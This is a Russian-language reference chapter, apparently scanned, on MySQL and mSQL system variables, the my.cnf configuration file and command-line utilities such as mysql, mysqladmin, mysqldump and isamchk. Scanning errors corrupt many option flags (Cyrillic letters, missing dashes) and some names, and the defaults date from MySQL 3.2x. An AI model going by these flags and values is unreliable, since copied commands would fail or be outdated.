    Системные переменные MySQLБудьте внимательны при вводе ваших паролей. Обычно при использовании переменных окружения их значение устанавливают в скриптах. Разумеется, использование переменной MYSQL_PWD в скрипте сделает ваш пароль доступным для всех, кто сумеет запустить этот скрипт. Даже установка этой переменной вручную через командную строку делает ее доступной суперпользователю и всем тем, кто может исследовать содержимое системной памяти.

    MYSQL_TCP_PORT

    При использовании вкупе с клиентской программой это будет TCP-порт на удаленной машине, предназначенной для связи с сервером MySQL. Когда используется с программой mysqld, это - номер TCP-порта, прослушивающего входящие соединения.


    MYSQL_UNIX_PORT

    При использовании с клиентской программой - это файл сокета Unix, используемый для связи с сервером MySQL. При использовании с программой mysqld - файл сокета Unix для локальных подключений.

    Кроме того, программы MySQL используют следующие переменные окружения, которые обычно устанавливаются как часть среды Unix.

    EDITOR VISUAL

    Путь к заданному по умолчанию редактору. Программа mysql будет использовать его для редактирования SQL-операторов, если ей встретится команда edit или \е.

    HOME

    Домашний каталог текущего пользователя. LOGIN LOGNAME USER

    Имя текущего пользователя.

    PATH

    Список каталогов, используемых при поиске программ.

    POSIXLY_CORRECT

    Если эта переменная определена, не происходит никакой обработки опций программной строки. В противном случае параметры программной стоки переупорядочиваются таким образом, чтобы сделать возможным использование расширенных опций. Эта переменная может использоваться с любой программой MySQL.

    ТМР TMPDIR

    Каталог, в котором сохраняются временные файлы. Если эта переменная не определена, используется '/tmp '.

    TZ

    Часовой пояс локальной машины.

    UMASK

    Маска, используемая при создании новых файлов.

    Переменные командной строки

    Данные параметры определяются через опции командной строки -0 или -set-variable, которые доступны в большинстве программ MySQL.

    back_log

    Число подключений TCP, которые могут быть поставлены в очередь за один раз. Значение по умолчанию - 5. Эта опция доступна только для mysqld.

    connect _timeout

    Время (в секундах), в течение которого сервер mysqld ожидает пакет подключения, прежде чем ответить сообщением об ошибке соединения (bad handshake).

    decode-bits

    Число бит, используемое для генерирования некоторых внутренних таблиц. Число должно находиться в диапазоне от 4 до 9 (между 4 и 6 в 16-разрядных операционных системах). Значение по умолчанию - 9. Эта опция доступна только для isamchk. Используйте ее лишь при условии, что вы хорошо понимаете структуру таблицы ISAM.


    delayed_insert_limit

    Заставляет обработчик INSERT DELAYED проверять наличие команд SELECT, задержанных при вставке числа записей, указанного в delayed _insert_limit. Если таковые есть, обработчик позволяет выполнить эти команды перед продолжением работы.

    delay ed_insert_timeout

    Как долго поток INSERT DELAYED должен ожидать операцию INSERT перед завершением.

    delayed_queue_size

    Размер очереди (в записях) для обработки INSERT DELAYED. Если очередь переполняется, все клиенты, выполнившие INSERT DECAYED, снова будут ждать, пока появится место в очереди.

    dritebuffer

    Размер буфера, используемый для хранения исходящих данных. Значение по умолчанию - 260 Кбайт. Эта переменная доступна только для isamchk.

    flush_time

    Если переменная определена, все таблицы закрываются каждые flush_time секунд, для того чтобы освободить ресурсы и синхронизировать изменения на диск.

    join_buffer

    Размер буфера при выполнении соединения таблиц. Увеличение параметра может повысить производительность запросов, использующих соединение таблиц. Значение по умолчанию — 130 Кбайт. Эта опция доступна только для mysqld.

    key_buffer_size

    Размер буфера, выделенного для хранения ключей (индексов), к которым недавно осуществлялся доступ. Увеличение этого значения может привести к увеличению скорости работы запросов, осуществляющих повторное использование одних и тех же индексов. Эта опция доступна только для isamchk (где значение по умолчанию равно 0.5 Мбайт) и mysqld (значение по умолчанию 1 Мбайт).

    long_query_time

    Если значение установлено, то slow_queries увеличивается всякий раз, когда запрос занимает больше времени, чем определено в переменной long_query_time (в секундах).

    max_allowed_packet

    Максимальный размер буфера, используемого для хранения входящих данных. Каждое клиентское подключение имеет собственный буфер. Значение по умолчанию 64 Кбайт. Опция доступна только для mysqld.

    max_connect_errors

    Если значение установлено, сервер блокирует дальнейшие подключения с удаленного хоста, когда количество прерванных подключений с удаленного хоста превышает max_connect_errors. Возможно разблокирование хоста с помощью команды FLUSH HOSTS.


    max_Connections

    Максимальное число одновременных клиентских подключений. Значение по умолчанию - 90. Эта опция может использоваться только с mysqld.

    max_delayed_threads

    Количество потоков, обрабатывающих INSERT DELAYED, должно быть не больше значения этой переменной. Если после исчерпания этого лимита клиент попытается использовать INSERT DATA для ввода новых данных, запрос будет обработан, как если бы атрибут DELAYED не был указан?

    max_join_size

    Максимальный размер временной таблицы, создаваемой при соединении таблиц. Значение по умолчанию - 4 Гбайт. Эта опция может использоваться только с mysqld.

    max_sort_length

    Максимальное число символов, используемое при сортировке полей BLOB либо VARCHAR. Значение по умолчанию 1 Кбайт.

    max_tmp_tables

    (Будет реализовано позднее в версии 3.23.) Максимальное количество временных таблиц, которое клиент может открыть одновременно.

    net_buffer_length

    Начальный размер буфера для хранения входящих данных. Каждое клиентское подключение имеет собственный отдельный буфер.

    По умолчанию его размер равен 8 Кбайт. Опция доступна для mysql, mysqld и mysqldump.

    readbuffer

    Размер буфера, используемого для хранения читаемых из файла данных. Значение по умолчанию 260 Кбайт. Опция доступна только для isamchk.

    record_buffer

    Размер буфера, используемого при чтении данных прямо из таблиц, (то есть без использования ключей). Увеличение этого значения может повысить скорость выполнения запросов, не использующих индексы (ключи). По умолчанию значение равно 130 Кбайт. Этот параметр доступен только для mysqld.

    sortbuffer

    Размер буфера, используемого при сортировке данных из таблиц. Значение по умолчанию 1 Мбайт. Опция доступна только для isamchk.

    sort_buffer

    Размер буфера, используемого при сортировке выбранных данных. Увеличение его размера может повысить скорость выполнения запросов, использующих ORDER BY или GROUP BY. По умолчанию значение равно 2 Мбайт. Эта опция доступна только для mysqld.

    sort_key_blocks

    Число блоков ключей (индексных блоков), используемых при сортировке ключей. Значение по умолчанию 16. Эта опция доступна только для isamchk, пользуйтесь ей, если вы хорошо понимаете структуру таблицы ISAM.


    table_cache

    Максимальное число таблиц, которое сервер баз данных может держать открытым одновременно. По умолчанию это 64 таблицы. Опция доступна только для mysqld.

    tmp_table_size

    Максимальный размер временных таблиц, используемых сервером баз данных. Значение по умолчанию - 1 Мбайт. Эта опция доступна только для mysqld.

    thread_stack

    Размер стека памяти для каждого потока. Значение по умолчанию -64 Кбайт. Эта опция доступна только для mysqld.

    wait_timeout

    Количество секунд, в течение которых сервер ожидает активности от подключения, после чего закрывает его.

    Файл конфигурации MySQL

    Начиная с MySQL 3.22, вы можете указать и серверные, и клиентские настройки в текстовом файле конфигурации. Файл имеет разные значения в зависимости от места расположения, но его формат всегда един. Если он хранится в /etc/my.cnf, настройки применяются ко всем серверам MySQL и клиентам на этой машине. Если файл находится в каталоге данных сервера MySQL (например, /usr/local/mysql/data/ my.cnf), то настройки действительны именно для этого сервера MySQL. Наконец, если файл назван .my.cnf (обратите внимание наточку в начале) и расположен в домашнем каталоге пользователя, он применяется ко всем клиентам, запускаемым этим пользователем.

    Формат файла конфигурации похож на формат файлов инициализации Windows. Файл разбит на абзацы (строфы) с групповым именем, заключенным в скобки. После имени группы идет список параметров. Строки комментария начинаются символом "#" или "; ". Каждое имя группы - это название клиентской или серверной программы MySQL, для которой необходимо определить настройки. Специальное групповое имя client, влияет на все клиентские программы MySQL (кроме mysqld).

    Задаваемые в этом файле параметры могут быть любой длины. Они имеют ту же форму, что и параметры к любой команде MySQL, заданные из командной строки (кроме идентификатора параметров "-" (двойная черта)). Ниже приведен пример файла my.cnf для всего сервера.

    [client]

    port=9999

    socket=/dev/mysql

    [mysqld]

    port=9999

    socket=/dev/mysql

    set-variable = join_buffer=1M

    [mysql]

    host=dbhost

    unbuffered



    в себя обширный набор программ

    Программы и утилиты My SQL и mSQL

    MySQL и mSQL включают в себя обширный набор программ и утилит, которые упрощают общение с базой данных. Многие из этих программ адресованы конечным пользователям для чтения и записи данных, а другие предназначены администраторам баз данных для управления и восстановления базы данных в целом.



    Утилиты mSQL

    msql

    msql [options] database

    Монитор командной строки mSQL. Эта программа является основным средством общения с сервером mSQL. SQL-команды можно набирать прямо в командной строке, и результат будет выведен на экран. Команды могут занимать несколько строк. Никаких действий не выполняется, пока не будет введена строка, заканчивающаяся командой на выполнение. . * .

    Команды

    \e

    Редактировать предыдущее предложение с помощью редактора по умолчанию.

    \g

    Послать команду серверу баз данных.



    Вывести текущую команду.

    \q

    Выйти из программы.

    Параметры

    -f file

    Использовать альтернативный файл конфигурации.
    -h hostname

    Подключиться к серверу баз данных на удаленном хосте.

    msql2d

    msq12d [options]

    Демон сервера mSQL. Все остальные программы взаимодействуют с базой данных через этот сервер, поэтому он должен работать постоянно (кроме отключений для обслуживания).

    Параметры

    -f file

    Использовать альтернативный файл конфигурации.

    msqladmin

    msqladmin [options] command

    Выполняет операции, действующие на сервер баз данных в целом. Эта утилита используется для выключения сервера, добавления и удаления целых баз данных и других административных функций.

    Команды

    copy database newdatabase

    Создает точную копию базы данных под другим именем.

    create database

    Создает новую пустую базу данных.

    drop database

    Удаляет базу данных и уничтожает ее содержимое.

    move database newdatabase

    Переименовывает базу данных.

    reload

    Перечитывает файлы конфигурации.
    shutdown

    Выключает сервер баз данных.
    stats

    Показывает статистику сервера баз данных. Среди выдаваемой информации имеются данные о текущих подключениях к базе данных; показывается, какие базы данных используются и каково количество запросов, посланное каждым подключившимся.

    version

    Показывает информацию о версии сервера баз данных.

    Параметры

    -f file

    Использовать альтернативный файл конфигурации.
    -h hostname

    Подключиться к серверу баз данных на удаленном хосте.

    -q


    Не запрашивать подтверждения команд.

    msqldump

    msqldump [options] database [table]

    Выдает содержимое указанной базы данных (или таблицы базы данных) в виде серии команд ANSI SQL.

    Параметры



    Выводить полные инструкции INSERT.

    -f file

    Использовать альтернативный файл конфигурации.

    -h hostname

    Подключиться к серверу баз данных на удаленном хосте.

    -t

    Создавать дамп только операторов создания таблиц; не выводить данные.

    -w statement

    Использовать оператор WHERE для ограничения выводимых данных.

    -V

    Показать информацию о процессе, пока создается дамп данных.

    msqlexport

    msqlexport [options] database table

    Выдает содержимое указанной таблицы в формате с разделителями в стиле ASCII.

    Параметры

    -е character

    Использовать character для экранирования любых разделителей, найденных в данных.

    -h hostname

    Подключиться к серверу баз данных на удаленном хосте.

    -q character

    Символ, обрамляющий каждое значение данных.

    -s character

    Символ, используемый для разделения данных.

    -v

    Показать информацию о процессе, пока происходит экспорт данных.

    msq Iimport

    msqlimport [options] database table

    Читает файл с ASCII-разделителями и записывает данные в указанную таблицу.

    Параметры

    -е character

    Символ, используемый как управляющий в файле данных.

    -h hostname

    Подключиться к серверу баз данных на удаленном хосте.

    -q character

    Символ, обрамляющий каждое значение данных.

    -s character

    Символ, используемый для разделения данных.

    -V

    Показать информацию о процессе, пока происходит вставка данных.

    relshow

    relshow [options] [database] [table] [index|_seq]

    Показывает структуру указанной базы данных, таблицы, индекса или последовательности данных. Если не задать аргументов, выдается список всех баз данных. С одним аргументом будет выдана информация о структуре заданной базы данных. С двумя аргументами программа выдаст информацию об указанной таблице. Если указать все три элемента, третий аргумент должен быть либо индексом указанной таблицы, либо _seq, и в этом случае будет выдана информация о последовательности данных таблицы.

    Параметры

    -f file

    Использовать альтернативный файл конфигурации.

    -h hostname

    Подключиться к серверу баз данных на удаленном хосте.

    Утилиты MySQL

    isamchk

    isamchk [options] table [table...]

    Выполняет операции на самих табличных файлах (называемых ISAM-файлами из-за индексно-последовательного метода доступа (Indexed Sequential Access Method). Утилита используется для проверки и восстановления файлов, а также для выдачи информации о них. Вы должны указать корректный путь к файлам ISAM, которые хотите проверить. По умолчанию они находятся в /'usr/'local/var/'databasename/tablename.ISM.

    Параметры

    -?, --help

    Вывести информацию об использовании утилиты.

    -# debuglevel, --debug=debuglevel

    Устанавливает отладочный уровень debuglevel. Отладочная библиотека MySQL имеет множество настроек. Полный список параметров доступен по адресу: http://www.turbolift.com/mysql/appen-dixC.html. Обычно используется следующий набор параметров - d:t:o,/tmp/debugfile.

    -a, --analyze

    Анализирует распределение ключей в таблице и вносит изменения, если возможно повышение производительности.

    -d, -description

    Выводит информацию о таблице.
    -е, --extend-check

    Выполняет дополнительную проверку целостности таблицы. После этой операции вы можете быть абсолютно уверены, что ваша таблица в порядке.

    -f, --force

    Заменяет существующие файлы без предупреждения. Также без уведомления восстанавливает поврежденные таблицы.

    -i, --information

    Выводит всю статистику о проверяемой таблице.
    -k=number, -keys-used=number

    Обновляет только указанное число (number) используемых ключей. Этот параметр в основном используется для отключения ключей (-k=0), чтобы добиться ускорения табличных операций, таких как загрузка блоком (bulk load).

    -l, --no-symlinks

    He восстанавливать таблицы с символическими связями.

    -q, --quick

    Ускорить процесс восстановления путем отказа от проверки файла данных.

    -r, --recover

    Выполнить общее восстановление таблицы. Не исправляет дубликаты уникальных ключей.

    -о, --safe-recover

    Использовать старый, более медленный метод восстановления, который может исправить некоторые из повреждений, пропущенных при восстановлении методом <-r>.


    -О, --set-variable

    Установить переменную. См. главу 16 "Системные переменные MySQL и mSQL", где приведен полный список используемых переменных.

    -s, --silent

    Выводить только ошибки.

    -S, --sort-index

    Отсортировать индексный блок таблицы.

    -R=index, --sort-records=index

    Отсортировать записи, используя index.

    -U, --unpack

    Распаковать файл, сжатый с помощьюpack_isam.

    -v, --verbose

    Выводить дополнительную информацию.

    -V, --version

    Вывести информацию о версии.

    -w, --wait

    Если таблица заблокирована, ждать разблокирования. Отсутствие данного параметра приведет к тому, что ismchk прекратит выполнение при обнаружении заблокированной таблицы.

    isamlog

    isamlog [options] [logfile] [table]

    Выводит информацию о журналах ISAM. Журнал ISAM генерируется, если сервер MySQL запущен с параметром -log-isam. Информация из журнала ISAM используется для восстановления поврежденных таблиц с помощью параметра -r. Однако изменение файлов данных напрямую может быть опасным, и перед этим всегда следует резервировать данные.

    Параметры

    -?, -help

    Вывести справочную информацию по использованию утилиты.

    -# debuglevel

    Установить отладочный уровень. Список доступных параметров вы найдете по адресу: http://www.turbolift.com/mysql/appendixC.html.

    -с number

    Проверить только последнее указанное (number) количество команд.

    -f number

    Максимальное число открытых файлов. Когда выполняется восстановление с использованием больших журналов, isamlog может одновременно держать открытыми большое количество таблиц. Если число файловых дескрипторов в вашей системе исчерпывается, этот параметр ограничит число файлов, используемых isamlog. Вместо использования большого количества файлов isamlog будет манипулировать данными между открываемыми файлами и памятью, что приведет к замедлению работы.

    -F directory

    Каталог с файлами журналов ISAM.

    -i

    Выводить дополнительную информацию.

    -о number

    Пропустить указанное число команд перед исследованием журнала.


    -p

    Удалить компоненты из пути к файлам.

    -r

    Игнорировать ошибки при обработке журнала. Этот параметр позволяет восстановить всю информацию из журнала.

    -R datafile recordnumber

    Открыть файл данных ISAM (имя файла заканчивается на .ISM) и выбрать данные, начиная с записи recordnumber.

    -u

    Обновить таблицы, используя информацию из журнала.

    -v

    Вывести дополнительную информацию о процессе.

    -V

    Вывести информацию о версии.

    -w file

    Поместить в файл все записи, найденные с использованием

    -R.

    mysql

    mysql [options] [database]

    Монитор командной строки MySQL. Эта программа является основным способом общения с сервером MySQL. Можно набирать команды SQL прямо в командной строке, и результат будет выведен на экран. Если ввести database, эта база данных автоматически выбирается как текущая.

    Монитор командной строки в работе очень похож на оболочку bash, поскольку использует те же функции GNU, что и bash. Например, вы можете завершить слово с помощью клавиши tab; нажатием Ctrl + a перейти к началу строки или, нажав Ctrl + e, перейти к концу строки; Ctrl + г производит обратный поиск, а нажатие <стрелки вверх> вызывает предыдущую команду.

    Распоряжения могут занимать несколько строк и не выполняться, пока не будет дана команда на выполнение. При использовании команд из полных слов, (go, print и т. д.) команда должна быть введена в строку полностью. Команды с экранированием (\g, \p и т. д.) могут быть использованы в конце любой строки. Точка с запятой может использоваться для завершения команды SQL, так же как и \g.

    Команды

    help, ?, \h

    Показать список команд утилиты.

    clear, \c

    Очистить (игнорировать) текущую команду.

    edit, \e

    Редактировать текущую команду с помощью редактора по умолчанию.

    exit.

    Выйти из программы.

    go, \g, ;

    Послать текущую команду серверу баз данных.

    ego, \G

    Послать текущую команду серверу баз данных и вывести результаты по вертикали.

    print, \p

    Вывести текущую команду.

    quit, \q

    To же, что exit,

    rehash, \#


    Перестроить индекс завершающих терминов.

    status, \s

    Показать информацию о сервере и текущей сессии.

    use, \u

    Выбрать другую базу данных.

    Параметры

    -?, -help

    Вывести информацию об использовании утилиты.

    -# debuglevel. -debug=debuglevel

    Устанавливает отладочный уровень. Полный список параметров доступен по адресу: http://www.turbolift.com/mysql/appendixC.html.

    -A, --no-auto-rehash.

    Не хэшировать заново данные из базы в автоматическом режиме.

    -В, -batch

    Выводить результаты в пакетном ('batch') режиме. Это приведет к выводу информации с минимумом форматирования, что позволит легко использовать эту информацию в других приложениях баз данных.

    -е statement, -execute=statement

    Выполнить указанную команду и завершить программу. Автоматически применяет параметр -В.

    -f, --force

    Не останавливать обработку при обнаружении ошибки SQL.

    -h host, -host=host

    Подключиться к базе данных на указанном хосте.

    -п, -unbuffered

    Не производить буферизацию между запросами.

    -О variable=value, -set-variable variable=value

    Установить переменную. См. главу 16, где приведен полный список используемых переменных.

    -p [password], --password[=password]

    Пароль, используемый при подключении к серверу баз данных. Если этот параметр используется без аргумента, пароль запрашивается из командной строки.

    -P port, -port=port

    Номер порта для подключения к серверу баз данных.

    -q, -quick

    Показывать информацию так, как она приходит от сервера. Если, используя эту функцию, вы приостановите свой терминал, сервер также может приостановиться.

    -r. -raw

    Показывать результаты без какого-либо преобразования. Полезно только в сочетании с -В.

    -s, --silent

    Не выводить некоторые результаты.

    -S file, -socket=file

    Файл сокета Unix, используемый для подключения к серверу баз данных.

    -t, -table

    Показывать результат в табличном формате.

    -Т, -debug-info

    Показать отладочную информацию при выходе из программы.

    -и username, -user=username

    Имя пользователя, используемое при подключении к базе данных.


    -v, -verbose

    Вывести дополнительные результаты.

    -V, -version

    Вывести информацию о версии.

    -w, -wait

    Если не удается подключиться к серверу баз данных, подождать и попытаться повторить подключение позднее.

    mysqlaccess

    mysqlaccess [options] [host] user database

    Показывает и изменяет права доступа к серверу MySQL. Вы можете проверить права пользователя для любой базы данных и для подключения с любого хоста. Для выбора нескольких хостов, пользователей и баз данных возможно использование маскирующих символов (wildcards) оболочки Unix '*' и '?'. Все действия выполняются над копией действующей таблицы привилегий, пока не будет вызвана команда mysqlaccess -commit .

    Параметры

    -?, -help

    Показать справочную информацию по пользованию утилитой.

    -b, -brief

    Показать результаты в виде краткой однострочной таблицы.

    -commit

    Перенести изменения из временной таблицы в действующую таблицу привилегий. Вы должны запустить mysqladmin reload, чтобы сделанные изменения вступили в силу.

    -сору

    Обновить временную таблицу, используя действующую таблицу привилегий.

    -d database, -db=database

    База данных, к которой происходит подключение.

    -debug=debuglevel

    Установить отладочный уровень (от 0 до 3).

    -h host, -host=host

    Имя хоста, права доступа которого проверяются.

    -howto

    Примеры использования программы.

    -Н host, --rhost=host

    Подключиться к серверу баз данных на удаленном хосте.

    -old-server

    Подключится к серверу MySQL версии старше 3.21.

    -р password, -password=password

    Проверить пароль идентифицируемого пользователя.

    -plan

    Показать предложения к следующей версии программы.

    -preview

    Показать разницу между действующей и временной таблицами привилегий.

    -Р password, -spassword=password

    Пароль администратора для доступа к таблице привилегий.

    --relnotes

    Вывести примечания к версии программы.

    --rollback

    Отменить изменения, сделанные во временной таблице.

    -t,--table

    Вывести результаты в полном табличном формате.

    -и username, -user=username


    Имя проверяемого пользователя.

    -U username. -superuser=username

    Имя администратора для доступа к таблицам привилегий.

    -v,--version

    Вывести информацию о версии.

    mysqladmin

    mysqladmin [options] command [command. . . ]

    Выполняет операции, действующие на сервер баз данных в целом. Эта утилита используется для выключения сервера, добавления и удаления целых баз данных и для других административных функций.

    Команды

    create database

    Создать новую базу данных.

    drop database

    Уничтожить базу данных.

    extended-status

    Выдать отчет о состоянии сервера, более полный, чем это делает команда status.

    flush-hosts

    Послать клиентам всю информацию, находящуюся в буфере.

    flush-logs

    Записать на диск все журнальные данные из буфера.

    flush-privileges

    То же, что и reload,

    flush-status

    Обнулить переменные состояния.

    flush-tables

    Выполнить все буферизованные табличные операции.

    kill thread-id [thread-id...]

    Завершить один или несколько потоков mysqld.

    password password

    Установить пароль администратора для сервера баз данных.

    ping

    Проверить, работает ли сервер MySQL.

    processlist

    Показать активные потоки сервера mysqld.

    reload

    Перезагрузить информацию о правах доступа из таблицы привилегий.

    refresh

    Выполнить все буферизованные табличные операции и открыть заново файлы журналов.

    shutdown

    Закончить работу сервера баз данных.

    status

    Отчет о состоянии сервера.

    variables

    Вывести системные переменные, используемые сервером.

    version

    Вывести номер версии сервера.

    Параметры

    -?, -help

    Вывести информацию об использовании утилиты.

    -# debuglevel, ~debug=debuglevel

    Установить отладочный уровень. См. isamchk для подробной информации.

    -f, --force

    Удалить таблицы без подтверждения. Также не выходить из программы при обнаружении ошибки.

    -h host, --host=host

    Подключиться к серверу MySQL на указанном хосте.

    -i seconds, --sleep=seconds

    Последовательно выполнять команды, делая между каждым запуском паузу длиной в указанное количество секунд.


    -р [password], --password=[password]

    Пароль, используемый для подключения к серверу баз данных. Если использовать без аргумента, пароль будет запрошен из командной строки.

    -Р port, --port=port

    Порт, используемый для подключения к удаленному серверу баз данных.

    -s, --silent

    Не выдавать сообщение об ошибке при невозможности подключения к серверу баз данных.

    -S file, --socket=file

    Сокет Unix, используемый для подключения к локальному серверу баз данных.

    -и username, --user=username

    Имя пользователя, используемое для подключения к серверу баз данных.

    -V, --version

    Вывести информацию о версии программы mysqladmin.

    mysqlbug

    mysqlbug

    Отчет об ошибках в программах и утилитах MySQL. Эта программа собирает информацию о вашей инсталляции MySQL и высылает детальный отчет о проблеме команде разработчиков MySQL.

    mysqld

    mysqld [options]

    Демон сервера MySQL. Все остальные программы взаимодействуют с базой данных через этот сервер, поэтому он должен работать постоянно (за исключением отключений для настройки). Демон обычно запускается из скрипта, называемого safe_mysqld. Этот скрипт устанавливает необходимые переменные окружения и запускает mysqld с нужными параметрами.

    Параметры

    -?, -I, -help

    Показать информацию об использовании демона.

    -# debuglevel, -debug=debuglevel

    Устанавливает отладочный уровень. См. Isamchk для детальной информации.

    -b directory, --basedir=directory

    Основной каталог, используемый при определении всех остальных каталогов.

    --big-tables

    Позволить работу с большими результирующими наборами, сохраняя временные результаты в файле.

    --bind-address—ip-number

    IP-адрес, к которому привязан сервер.

    -h directory, --datadir=directory

    Каталог, содержащий файлы данных баз данных.

    -l [logfile], -log [=logfile]

    Записывает в журнал различную информацию, включая сообщения об ошибках и подключениях. Если аргумент не указан, в ка-честве файла журнала используется hostname, log , где hostname - имя компьютера, на котором работает сервер.


    --log-isam[=logfile]

    Создает журнал изменения в файлах данных (ISAM). Если аргумент не задан, в качестве файла журнала используется isam.log. Созданным журналом можно управлять с помощью утилиты isamlog.

    --log-update [=number]

    Создает журнал изменения базы данных. Журнал будет назван hostname.num, где hostname - имя сервера, а num - аргумент, заданный в команде. Если аргумент не указан, будет использоваться уникальное число.

    -L=language, --language=language

    Язык (English, French и т. д.), который будет использовать сервер.

    -п, --new

    Разрешить запуск новых (и, возможно, небезопасных) подпрограмм.

    -о, -old-protocol

    Использовать протокол 3.20.x.

    -О variable=value, -set-variable variable=value

    Установить переменные. См. главу 16, где приводится полный список переменных.

    --pid-file=file

    Имя файла, в котором содержится идентификатор процесса (PID) запущенного .сервера. Значение по умолчанию hostname, pid , где hostname - имя серверной машины.

    -P port, -port=port

    Номер используемого сетевого порта.

    -secure

    Разрешение сетевой проверки безопасности, что снижает производительность базы данных.

    -skip-name-resolve

    Использовать для подключения только IP-номера (а не имена). Это увеличивает производительность работы с сетью.

    --skip-networking

    Запретить сетевые подключения и использовать только локальный доступ.

    --skip-thread-priority

    Дать всем потокам одинаковый приоритет.

    -S, -skip-new

    Не разрешать новые (и, возможно, небезопасные) запуски демона.

    -sg

    Запретить проверку прав доступа и дать всем пользователям полный доступ на все базы данных.

    -Sl

    Не выполнять блокировку потоков.

    --socket=file

    Имя файла сокета Unix.

    -Т, --exit-info

    Выводить отладочную информацию при выключении сервера.

    --use-locking

    Разрешить блокировку потоков.

    -v, -V, --version

    Вывести информацию о версии.

    mysqldump

    mysqldump [options] database [table]

    Выдает содержимое указанной базы данных (или таблицы базы данных) в виде серии команд ANSI SQL. Эта команда удобна при разделении базы данных; используйте параметры -1 и -opt.


    Параметры

    -?, --help

    Вывести информацию об использовании утилиты.

    -# debuglevel, --debug=debuglevel

    Установить отладочный уровень. Список всех доступных параметров можно найти по адресу: http://www.turbolift.com/mysql/appendixC.html.

    -add-drop-table

    Вставлять команду DROP TABLE перед каждой командой CREATE TABLE.

    --add-locks

    Обрамлять командой LOCK TABLE команды ввода данных.

    -allow-keywords

    Выводить имена столбцов, которые совпадают с ключевыми словами. Обычно это нежелательно, так как они могут конфликтовать между собой.

    -с, --compleat-insert

    Выводить полные инструкции INSERT.

    -С, --compress

    Использовать сжатие данных при подключении к серверу.

    --delayed

    Использовать INSERT DELAYED при вставке записей.

    -d, --no-data

    Не выводить данные, записывать только операторы создания таблиц.

    -е, --extended-insert

    Использует вариант команды INSERT со множеством вводимых записей, что может ускорить последующий ввод данных.

    -f, --force

    Не выходить из программы при обнаружении ошибки.

    -F, --flush-logs

    Записать на диск данные журнала из буфера перед созданием дампа таблиц(ы).

    --fields-enclosed-by=delimeter

    При дампе с параметром -Т этот разделитель помещается по сторонам каждого поля.

    --fields-escaped-by=delimeter

    При дампе с параметром -Т этот разделитель помещается перед всеми специальными символами в качестве управляющего символа.

    --fields-terminated-by=delimeter

    При дампе с параметром -Т этот разделитель используется после каждого поля (по умолчанию - табуляция).

    -h hostname, --host=hostname

    Подключиться к серверу баз данных на удаленном хосте.

    -l, --lock-tables

    Заблокировать таблицы перед дампом.

    --lines-terminated-by=delimeter

    При дампе с параметром -Т этот разделитель используется после каждой строки.

    -t, --no-create-info

    He выполнять дамп команд описания таблиц, записывать только данные.

    -О variable=value, -set-variable variable=value

    Установить переменную. См. главу 16, где находится полный список используемых переменных.


    --opt

    Добавляет наиболее употребительные и полезные параметры командной строки: --add-drop-table, —add- locks, --extended-insert, --quick и --use-locks.

    -P [password], -password [=password]

    Пароль, используемый для подключения к серверу базы данных. Если не указан аргумент, пароль будет запрошен из командной строки.

    -Р port, -port=port

    Порт, используемый для подключения к удаленному серверу баз данных.

    -q, -quick

    Показывать все данные немедленно, без буферизации.

    -S file, --socket=file

    Сокет Unix, используемый для локального подключения к серверу.

    -Т directory, --tab=directory

    Генерирует файл с символом табуляции в качестве разделителя, куда помещаются данные, одновременно с файлом, содержащим SQL-команды, описывающие создание таблицы. Файлы записываются в указанный каталог.

    -u username, --user=username

    Имя пользователя, используемое при подключении к серверу баз данных.

    -v, --verbose

    Показать информацию о состоянии процесса, пока происходит создание дампа данных.

    -V, -version

    Показать информацию о версии.

    -w statement, --where=statement

    Выводить только записи, удовлетворяющие заданному SQL-выражению WHERE.

    mysqlimport

    mysqlimport [options] database [file]

    Читает файл данных, который может иметь несколько форматов (таких как файл с запятыми-разделителями или файл с фиксированной шириной столбцов), и вставляет данные в базу данных. В базе данных необходима таблица с тем же, что и у файла, именем, которая должна иметь достаточное количество столбцов с подходящими типами для хранения данных.

    Параметры

    -?, --help

    Выдать информацию по использованию утилиты.

    -# debuglevel, -debug=debuglevel

    Установить отладочный уровень. Список всех доступных параметров можно найти по адресу: http://www.turbolift.com/mysql/appendixC.html.

    -d, --delete

    Удалить все данные, содержащиеся в таблице, перед вводом новых данных.

    -f, --force

    Не выходить из программы, если обнаружена ошибка

    --fields-terminated-by=string

    Указывает, что поля в файле данных заканчиваются символами, указанными в string.


    --fields-enclosed-by=string

    Указывает, что поля в файле данных с двух сторон заключены в символы string.

    --fields-optionally-enclosed-by=string

    Указывает, что поля в файле данных могут обрамляться (не обязательно) с двух сторон и другими указанными в string символами.

    --fields-escaped-by=string

    Заданное значение string используется в файле данных как управляющий символ.

    -h hostname, --host=hostname

    Подключиться к серверу баз данных на удаленном хосте.

    -I, --ignore

    Игнорировать новые данные, если они конфликтуют с существующим уникальным ключом.

    -l, --lock-tables

    Заблокировать таблицы перед вставкой данных.

    -р [password], --password[=password]

    Пароль, используемый для подключения к серверу базы данных. Если не указан аргумент, пароль запрашивается из командной строки.

    -Р port, --port=port

    Порт, используемый для подключения к удаленному серверу баз данных.

    -r, --replace

    Если новые данные конфликтуют с существующим уникальным ключом, старые данные заменяются.

    -s, --silent

    Не показывать некоторые результаты.

    -S file, -socket=file

    Сокет Unix, используемый для локального подключения к серверу.

    -u username, --user=username

    Имя пользователя, используемое при подключении к серверу баз данных.

    -v, --verbose

    Показать информацию о состоянии процесса, пока происходит вставка данных.

    -V, -version

    Показать информацию о версии.

    mysqlshow

    mysqlshow [options] [database] [table] [field]

    Показывает структуру указанной базы данных, таблицы или поля. Если не заданы аргументы, выдается список всех баз данных. С одним аргументом будет выдана информация о структуре указанной базы. С двумя аргументами программа выдаст информацию об указанной таблице. Если указать все три элемента, будет показана информация об отдельном указанном поле таблицы.

    Параметры

    -?, -help

    Выдать справку по использованию утилиты.

    -# debuglevel, --debug=debuglevel

    Установить отладочный уровень. Список всех доступных параметров можно найти по адресу: http://www.turbolift.com/mysql/appen-dixC.html.


    -h hostname, --host=hostname

    Подключиться к удаленному серверу баз данных.

    -k, --keys

    Показать ключи таблицы.

    -Р [password], -password]=password]

    Пароль, используемый для подключения к серверу базы данных. Если не указан аргумент, пароль запрашивается из командной строки.

    -Р port, --port=port

    Порт, используемый для подключения к удаленному серверу баз данных.

    -S file, --socket=file

    Сокет Unix, используемый для локального подключения к серверу.

    -и username, --user=username

    Имя пользователя, используемое при подключении к серверу баз данных.

    -V, --version

    Показать информацию о версии.



    Lite

    Lite - это язык сценариев, используемый W3-mSQL. Его синтаксис очень похож на С и еще больше на Perl. Фактически, многие скрипты Lite синтаксически неотличимы от сценариев Perl. Однако Lite лишен многих расширенных возможностей Perl.

    Ниже приводится краткий справочник стандартных функций Lite, доступных при использовании W3-mSQL.

    chdir

    $result = chdir($path)
